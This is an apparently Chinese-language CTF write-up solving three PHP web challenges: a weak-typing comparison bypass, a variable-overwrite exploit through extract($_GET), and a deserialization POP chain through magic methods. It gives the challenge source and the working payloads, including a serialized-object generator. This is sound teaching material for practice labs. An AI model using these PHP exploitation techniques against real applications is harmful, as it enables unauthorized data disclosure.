前言
你可千万别学隔壁家大哥哥,大过年还在打ctf(
除夕
php弱类型
题目源码
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2023-01-18 11:36:09
# @Last Modified by: h1xa
# @Last Modified time: 2023-01-19 10:18:44
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
include "flag.php";
$year = $_GET['year'];
if($year==2022 && $year+1!==2023){
echo $flag;
}else{
highlight_file(__FILE__);
}
使用科学计数法绕过:2022=202.2e1=20.22e2=2.022e3
传入 ?year=202.2e1
初三
变量覆盖
题目源码
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2023-01-19 10:31:36
# @Last Modified by: h1xa
# @Last Modified time: 2023-01-19 13:11:08
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
extract($_GET);
include "flag.php";
highlight_file(__FILE__);
$_=function($__,$___){
return $__==$___?$___:$__;
};
$$__($_($_GET{
$___
}[$____]{
$_____
}(),$flag));
啊又是一堆_
(恼
复制下来自己格式化,把变量用字母替换一下,这下看懂了(
<?php
extract($_GET);
include "flag.php";
$a = function ($b, $c) {
return $b == $c ? $c : $b;
};
$$b($a($_GET{$c}[$d]{$e}(), $flag));
直接从最底下的代码来分析,既然要输出那必定需要一个能回显内容的函数,这里以var_dump
为例,也就是要让$$__=var_dump
然后$_
是上面定义的函数,会比较两个参数的值,在这串代码中,相等则会返回$flag
$_GET{$___}[$____]{$_____}
其实中括号和大括号是一样的用法,这里是以GET方法传入一个三维数组,也就是x[][]
的形式
后面还跟了个括号,也就是要传入的是一个无参的函数
同时在include "flag.php"
的情况下$flag
的返回值应该是true,也就是说这个函数的返回值也得为true
那比较容易想到的就是phpinfo()
所以最终传参
?__=z&z=var_dump&x[b][c]=phpinfo&___=x&____=b&_____=c
初六
反序列化,这题对魔术方法的考察比较全面
题目源码
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2023-01-18 08:46:07
# @Last Modified by: h1xa
# @Last Modified time: 2023-01-18 11:19:09
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
include "flag.php";
class happy2year{
private $secret;
private $key;
function __wakeup(){
$this->secret="";
}
function __call($method,$argv){
return call_user_func($this->key, array($method,$argv));
}
function getSecret($key){
$key=$key?$key:$this->key;
return $this->createSecret($key);
}
function createSecret($key){
return base64_encode($this->key.$this->secret);
}
function __get($arg){
global $flag;
$arg="get".$arg;
$this->$arg = $flag;
return $this->secret;
}
function __set($arg,$argv){
$this->secret=base64_encode($arg.$argv);
}
function __invoke(){
return $this->$secret;
}
function __toString(){
return base64_encode($this->secret().$this->secret);
}
function __destruct(){
$this->secret = "";
}
}
highlight_file(__FILE__);
error_reporting(0);
$data = $_POST['data'];
$key = $_POST['key'];
$obj = unserialize($data);
if($obj){
$secret = $obj->getSecret($key);
print("你提交的key是".$key."\n生成的secret是".$secret);
}
还是头一次见这么多魔术方法塞一个类里面
老规矩先找可利用的点,看起来应该是__get
这段
function __get($arg){
global $flag; //声明外部变量$flag
$arg="get".$arg;
$this->$arg = $flag;
return $this->secret; //此处访问私有属性,会调用__set
}
__set
段
function __set($arg,$argv){
$this->secret=base64_encode($arg.$argv);
}
其中$arg="get"
,$argv=$flag
于是secret
到这里会等于base64编码后的get.$flag
接下来的问题就是如何进入__get
方法,需要调用不存在的属性或私有变量
可以发现__invoke
方法中也调用了私有变量,而进入__invoke
则需要把对象当作函数处理
function __invoke(){
return $this->$secret;
}
那这里只有__call
方法中存在函数,其中$this->key
我们是可控的,只要赋值成当前对象就可以了
function __call($method,$argv){
return call_user_func($this->key, array($method,$argv));
}
而要进入__call
则要在对象中调用一个不存在或不可访问的方法,
能看到__toString
方法中有个$this->secret()
function __toString(){
return base64_encode($this->secret().$this->secret);
}
要进__toString
需要把对象当字符串处理,createSecret
存在变量拼接,而要进createSecret
就要先进getSecret
那链子就是getSecret->createSecret->__toString->__call->__invoke->__get->__set
payload:
<?php
class happy2year
{
private $secret;
private $key;
function __construct(){
$this->key=$this;
}
}
$a = new happy2year();
echo serialize($a);
echo "\n";
echo urlencode(serialize($a));
传入data,base64解码三次获得flag
payload很简单,但是思路有点复杂,跟着一步步走下来倒是挺有意思的